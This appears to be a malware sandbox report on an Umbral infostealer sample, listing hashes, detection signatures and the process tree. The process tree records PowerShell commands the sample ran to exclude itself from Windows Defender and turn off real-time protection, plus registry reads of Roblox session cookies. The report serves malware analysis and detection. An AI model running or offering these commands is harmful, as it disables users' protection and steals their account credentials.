Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
17/01/2025, 11:27
Behavioral task
behavioral1
Sample
733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe
Resource
win7-20240903-en
General
-
Target
733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe
-
Size
231KB
-
MD5
0adae0c64017d858ba11f98f8276a970
-
SHA1
4363eac789ffcf9d966981069e2709a249509181
-
SHA256
733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef
-
SHA512
e31f1d41ad682b6e566e628ec02fbcc690f79026442e6171f3ae745058d80c72cdc36b6822f84d9c950d8aa24bdc4820257b30a43bb7138888df65bc423cdea8
-
SSDEEP
6144:xloZMffsXtioRkts/cnnK6cMltMMjw2xpaBPyAxVkElb8e1mhzLHiy:DoZdtlRk83MltMMjw2xpaBPyAxVkAMWy
Malware Config
Signatures
-
Detect Umbral payload 1 IoCs
resource yara_rule behavioral1/memory/2680-1-0x00000000009A0000-0x00000000009E0000-memory.dmp family_umbral -
Umbral family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2824 powershell.exe 304 powershell.exe 984 powershell.exe 1720 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 6 ip-api.com -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 3068 wmic.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 2824 powershell.exe 304 powershell.exe 984 powershell.exe 836 powershell.exe 1720 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe Token: SeIncreaseQuotaPrivilege 2852 wmic.exe Token: SeSecurityPrivilege 2852 wmic.exe Token: SeTakeOwnershipPrivilege 2852 wmic.exe Token: SeLoadDriverPrivilege 2852 wmic.exe Token: SeSystemProfilePrivilege 2852 wmic.exe Token: SeSystemtimePrivilege 2852 wmic.exe Token: SeProfSingleProcessPrivilege 2852 wmic.exe Token: SeIncBasePriorityPrivilege 2852 wmic.exe Token: SeCreatePagefilePrivilege 2852 wmic.exe Token: SeBackupPrivilege 2852 wmic.exe Token: SeRestorePrivilege 2852 wmic.exe Token: SeShutdownPrivilege 2852 wmic.exe Token: SeDebugPrivilege 2852 wmic.exe Token: SeSystemEnvironmentPrivilege 2852 wmic.exe Token: SeRemoteShutdownPrivilege 2852 wmic.exe Token: SeUndockPrivilege 2852 wmic.exe Token: SeManageVolumePrivilege 2852 wmic.exe Token: 33 2852 wmic.exe Token: 34 2852 wmic.exe Token: 35 2852 wmic.exe Token: SeIncreaseQuotaPrivilege 2852 wmic.exe Token: SeSecurityPrivilege 2852 wmic.exe Token: SeTakeOwnershipPrivilege 2852 wmic.exe Token: SeLoadDriverPrivilege 2852 wmic.exe Token: SeSystemProfilePrivilege 2852 wmic.exe Token: SeSystemtimePrivilege 2852 wmic.exe Token: SeProfSingleProcessPrivilege 2852 wmic.exe Token: SeIncBasePriorityPrivilege 2852 wmic.exe Token: SeCreatePagefilePrivilege 2852 wmic.exe Token: SeBackupPrivilege 2852 wmic.exe Token: SeRestorePrivilege 2852 wmic.exe Token: SeShutdownPrivilege 2852 wmic.exe Token: SeDebugPrivilege 2852 wmic.exe Token: SeSystemEnvironmentPrivilege 2852 wmic.exe Token: SeRemoteShutdownPrivilege 2852 wmic.exe Token: SeUndockPrivilege 2852 wmic.exe Token: SeManageVolumePrivilege 2852 wmic.exe Token: 33 2852 wmic.exe Token: 34 2852 wmic.exe Token: 35 2852 wmic.exe Token: SeDebugPrivilege 2824 powershell.exe Token: SeDebugPrivilege 304 powershell.exe Token: SeDebugPrivilege 984 powershell.exe Token: SeDebugPrivilege 836 powershell.exe Token: SeIncreaseQuotaPrivilege 2004 wmic.exe Token: SeSecurityPrivilege 2004 wmic.exe Token: SeTakeOwnershipPrivilege 2004 wmic.exe Token: SeLoadDriverPrivilege 2004 wmic.exe Token: SeSystemProfilePrivilege 2004 wmic.exe Token: SeSystemtimePrivilege 2004 wmic.exe Token: SeProfSingleProcessPrivilege 2004 wmic.exe Token: SeIncBasePriorityPrivilege 2004 wmic.exe Token: SeCreatePagefilePrivilege 2004 wmic.exe Token: SeBackupPrivilege 2004 wmic.exe Token: SeRestorePrivilege 2004 wmic.exe Token: SeShutdownPrivilege 2004 wmic.exe Token: SeDebugPrivilege 2004 wmic.exe Token: SeSystemEnvironmentPrivilege 2004 wmic.exe Token: SeRemoteShutdownPrivilege 2004 wmic.exe Token: SeUndockPrivilege 2004 wmic.exe Token: SeManageVolumePrivilege 2004 wmic.exe Token: 33 2004 wmic.exe Token: 34 2004 wmic.exe -
Suspicious use of WriteProcessMemory 30 IoCs
description pid Process procid_target PID 2680 wrote to memory of 2852 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 30 PID 2680 wrote to memory of 2852 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 30 PID 2680 wrote to memory of 2852 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 30 PID 2680 wrote to memory of 2824 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 33 PID 2680 wrote to memory of 2824 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 33 PID 2680 wrote to memory of 2824 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 33 PID 2680 wrote to memory of 304 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 35 PID 2680 wrote to memory of 304 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 35 PID 2680 wrote to memory of 304 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 35 PID 2680 wrote to memory of 984 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 37 PID 2680 wrote to memory of 984 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 37 PID 2680 wrote to memory of 984 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 37 PID 2680 wrote to memory of 836 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 39 PID 2680 wrote to memory of 836 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 39 PID 2680 wrote to memory of 836 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 39 PID 2680 wrote to memory of 2004 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 41 PID 2680 wrote to memory of 2004 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 41 PID 2680 wrote to memory of 2004 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 41 PID 2680 wrote to memory of 1044 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 43 PID 2680 wrote to memory of 1044 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 43 PID 2680 wrote to memory of 1044 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 43 PID 2680 wrote to memory of 2900 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 45 PID 2680 wrote to memory of 2900 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 45 PID 2680 wrote to memory of 2900 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 45 PID 2680 wrote to memory of 1720 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 47 PID 2680 wrote to memory of 1720 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 47 PID 2680 wrote to memory of 1720 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 47 PID 2680 wrote to memory of 3068 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 49 PID 2680 wrote to memory of 3068 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 49 PID 2680 wrote to memory of 3068 2680 733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe 49
Processes
-
C:\Users\Admin\AppData\Local\Temp\733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe"C:\Users\Admin\AppData\Local\Temp\733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2680 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2852
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\733fbf085c90972383ee6b0f9402910222a8f8b20367fccf4ff9f1a9ea51e7ef.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2824
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:304
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:984
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:836
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2004
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:1044
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:2900
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1720
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:3068
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5c191ced51faae58f4a870e683747817b
SHA1da47054ce701d75aba0b86e42e1953b5dd1e9fe2
SHA2560ecdf569c24f090cd5f2627851962a9b21f990a57f5adbd3895896f01292c233
SHA512a2c1fc64371b74c0c8cc59a867109389b5162ca7fa1eddd95d55e54fdf40574fd9cabc2ca759a546c5769f0bd69774e32f55bea00786110625dc3a4fdae70b69